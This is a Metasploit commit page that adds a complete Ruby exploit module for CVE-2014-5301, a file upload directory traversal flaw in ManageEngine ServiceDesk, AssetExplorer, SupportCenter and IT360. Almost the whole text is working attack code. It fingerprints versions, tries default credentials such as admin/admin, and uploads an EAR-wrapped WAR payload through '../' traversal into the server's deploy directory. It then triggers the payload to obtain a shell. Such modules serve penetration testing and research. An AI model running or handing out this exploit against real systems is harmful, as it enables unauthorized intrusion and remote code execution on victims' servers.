Land #4517, @pedrib's exploit for ManageEngine Multiple Products Authenticated File Upload
* CVE-2014-5301bug/bundler_fix
commit
dbc77a2857
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ManageEngine Multiple Products Authenticated File Upload',
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'Description' => %q{
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This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk,
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AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts
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the upload does not handle correctly '../' sequences, which can be abused to write
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in the file system. Authentication is needed to exploit this vulnerability, but this module
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will attempt to login using the default credentials for the administrator and guest
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accounts. Alternatively you can provide a pre-authenticated cookie or a username / password
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combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All
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versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer,
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SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this
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module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been
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been tested successfully in Windows and Linux on several versions.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-5301'],
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['OSVDB', '116733'],
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['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'],
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['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5']
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],
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'DefaultOptions' => { 'WfsDelay' => 30 },
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'Privileged' => false, # Privileged on Windows but not on Linux targets
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'Platform' => 'java',
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'Arch' => ARCH_JAVA,
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9',
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{
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'attachment_path' => '/workorder/Attachment.jsp'
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}
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],
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[ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1',
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{
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'attachment_path' => '/common/FileAttachment.jsp'
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}
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],
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[ 'IT360 v8-v10.4',
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{
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'attachment_path' => '/common/FileAttachment.jsp'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 15 2014'))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('JSESSIONID',
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[false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']),
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OptString.new('IAMAGENTTICKET',
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[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
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OptString.new('USERNAME',
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[true, 'The username to login as', 'guest']),
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OptString.new('PASSWORD',
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[true, 'Password for the specified username', 'guest']),
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OptString.new('DOMAIN_NAME',
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[false, 'Name of the domain to logon to'])
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], self.class)
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end
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def get_version
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET'
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})
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# Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360)
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version = [ 9999, 9999, 0, 'sd' ]
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if res && res.code == 200
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if res.body.to_s =~ /ManageEngine ServiceDesk/
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if res.body.to_s =~ / \| ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/
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output = $1
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version = [output[0].to_i, output[2].to_i, '0', 'sd']
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end
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if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds
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version[2] = $1.to_i
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elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds
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version[2] = $1.to_i
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end
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elsif res.body.to_s =~ /ManageEngine AssetExplorer/
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if res.body.to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ ||
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res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/
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output = $1
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version = [output[0].to_i, output[2].to_i, 0, 'ae']
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end
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if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/
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version[2] = $1.to_i
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end
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elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/
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# All of the vulnerable sc installations are "old style", so we don't care about the major / minor version
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version[3] = 'sc'
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if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/
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# ... but get the build number if we can find it
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version[2] = $1.to_i
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end
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elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/
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# IT360 newer versions
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version[3] = 'it'
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end
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elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
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# IT360 older versions, not a very good detection string but there is no alternative?
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version[3] = 'it'
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end
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version
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end
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def check
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version = get_version
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# TODO: put fixed version on the two ifs below once (if...) products are fixed
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# sd was fixed on build 9031
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# ae and sc still not fixed
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if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') ||
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(version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') ||
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(version[3] == 'sc' && version[2] < 99999)
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return Exploit::CheckCode::Appears
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end
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if (version[2] > 9030 && version[3] == 'sd') ||
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(version[2] > 99999 && version[3] == 'ae') ||
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(version[2] > 99999 && version[3] == 'sc')
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return Exploit::CheckCode::Safe
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else
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# An IT360 check always lands here, there is no way to get the version easily
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return Exploit::CheckCode::Unknown
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end
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end
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def authenticate_it360(port, path, username, password)
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if datastore['DOMAIN_NAME'] == nil
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vars_post = {
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'LOGIN_ID' => username,
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'PASSWORD' => password,
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'isADEnabled' => 'false'
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}
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else
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vars_post = {
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'LOGIN_ID' => username,
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'PASSWORD' => password,
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'isADEnabled' => 'true',
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'domainName' => datastore['DOMAIN_NAME']
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}
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end
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res = send_request_cgi({
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'rport' => port,
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'method' => 'POST',
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'uri' => normalize_uri(path),
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'vars_get' => {
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'service' => 'ServiceDesk',
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'furl' => '/',
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'timestamp' => Time.now.to_i
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},
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'vars_post' => vars_post
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})
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if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
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# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
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return res.get_cookies
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else
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return nil
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end
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end
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def get_it360_cookie_name
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("/"),
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})
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cookie = res.get_cookies
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if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
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return $1
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else
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return nil
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end
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end
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def login_it360
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# Do we already have a valid cookie? If yes, just return that.
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if datastore['IAMAGENTTICKET']
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cookie_name = get_it360_cookie_name
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cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
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return cookie
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end
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# get the correct path, host and port
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/'),
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})
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if res && res.redirect?
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uri = [ res.redirection.port, res.redirection.path ]
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else
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return nil
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end
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cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
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if cookie != nil
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return cookie
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elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
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# we've tried with the default guest password, now let's try with the default admin password
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cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
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if cookie != nil
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return cookie
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else
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# Try one more time with the default admin login for some versions
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cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
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if cookie != nil
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return cookie
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end
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end
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end
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nil
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end
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#
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# Authenticate and validate our session cookie. We need to submit credentials to
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# j_security_check and then follow the redirect to HomePage.do to create a valid
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# authenticated session.
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#
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def authenticate(cookie, username, password)
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res = send_request_cgi!({
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'method' => 'POST',
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'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')),
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'ctype' => 'application/x-www-form-urlencoded',
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'cookie' => cookie,
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'vars_post' => {
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'j_username' => username,
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'j_password' => password,
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'logonDomainName' => datastore['DOMAIN_NAME']
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}
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})
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if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/))
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# sd and ae respond with 302 while sc responds with a 200
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return true
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else
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return false
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end
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end
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def login
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# Do we already have a valid cookie? If yes, just return that.
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if datastore['JSESSIONID'] != nil
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cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';'
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return cookie
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end
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# First we get a valid JSESSIONID to pass to authenticate()
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/')
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})
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if res && res.code == 200
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cookie = res.get_cookies
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authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD'])
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if authenticated
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return cookie
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elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
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# we've tried with the default guest password, now let's try with the default admin password
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authenticated = authenticate(cookie, 'administrator', 'administrator')
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if authenticated
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return cookie
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else
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# Try one more time with the default admin login for some versions
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authenticated = authenticate(cookie, 'admin', 'admin')
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if authenticated
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return cookie
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end
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end
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end
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end
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nil
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end
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def send_multipart_request(cookie, payload_name, payload_str)
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if payload_name =~ /\.ear/
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upload_path = '../../server/default/deploy'
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else
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upload_path = rand_text_alpha(4+rand(4))
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end
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post_data = Rex::MIME::Message.new
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if @my_target == targets[1]
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# old style
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post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"")
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post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"")
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post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"")
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post_data.add_part('', nil, nil, "form-data; name=\"vec\"")
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post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"")
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post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"")
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post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"")
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post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"")
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else
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post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"")
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post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"")
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post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"")
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end
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data = post_data.to_s
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res = send_request_cgi({
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'uri' => normalize_uri(@my_target['attachment_path']),
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'method' => 'POST',
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'data' => data,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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'cookie' => cookie
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})
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return res
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end
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def pick_target
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return target if target.name != 'Automatic'
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version = get_version
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if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') ||
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(version[0] == 4 && version[3] == 'ae') ||
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(version[3] == 'sc')
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# These are all "old style" versions (sc is always old style)
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return targets[1]
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elsif version[3] == 'it'
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return targets[3]
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else
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return targets[2]
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end
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end
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def exploit
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|
if check == Exploit::CheckCode::Safe
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||||||
|
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Selecting target...")
|
||||||
|
@my_target = pick_target
|
||||||
|
print_status("#{peer} - Selected target #{@my_target.name}")
|
||||||
|
|
||||||
|
if @my_target == targets[3]
|
||||||
|
cookie = login_it360
|
||||||
|
else
|
||||||
|
cookie = login
|
||||||
|
end
|
||||||
|
|
||||||
|
if cookie.nil?
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate")
|
||||||
|
end
|
||||||
|
|
||||||
|
# First we generate the WAR with the payload...
|
||||||
|
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||||
|
war_payload = payload.encoded_war({ :app_name => war_app_base })
|
||||||
|
|
||||||
|
# ... and then we create an EAR file that will contain it.
|
||||||
|
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||||
|
app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
|
||||||
|
app_xml << '<application>'
|
||||||
|
app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>"
|
||||||
|
app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>"
|
||||||
|
app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>"
|
||||||
|
|
||||||
|
# Zipping with CM_STORE to avoid errors while decompressing the zip
|
||||||
|
# in the Java vulnerable application
|
||||||
|
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
|
||||||
|
ear_file.add_file(war_app_base + '.war', war_payload.to_s)
|
||||||
|
ear_file.add_file('META-INF/application.xml', app_xml)
|
||||||
|
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear'
|
||||||
|
|
||||||
|
if @my_target != targets[3]
|
||||||
|
# Linux doesn't like it when we traverse non existing directories,
|
||||||
|
# so let's create them by sending some random data before the EAR.
|
||||||
|
# (IT360 does not have a Linux version so we skip the bogus file for it)
|
||||||
|
print_status("#{peer} - Uploading bogus file...")
|
||||||
|
res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4)))
|
||||||
|
if res && res.code != 200
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Now send the actual payload
|
||||||
|
print_status("#{peer} - Uploading EAR file...")
|
||||||
|
res = send_multipart_request(cookie, ear_file_name, ear_file.pack)
|
||||||
|
if res && res.code == 200
|
||||||
|
print_status("#{peer} - Upload appears to have been successful")
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
10.times do
|
||||||
|
select(nil, nil, nil, 2)
|
||||||
|
|
||||||
|
# Now make a request to trigger the newly deployed war
|
||||||
|
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
# Failure. The request timed out or the server went away.
|
||||||
|
break if res.nil?
|
||||||
|
# Success! Triggered the payload, should have a shell incoming
|
||||||
|
break if res.code == 200
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue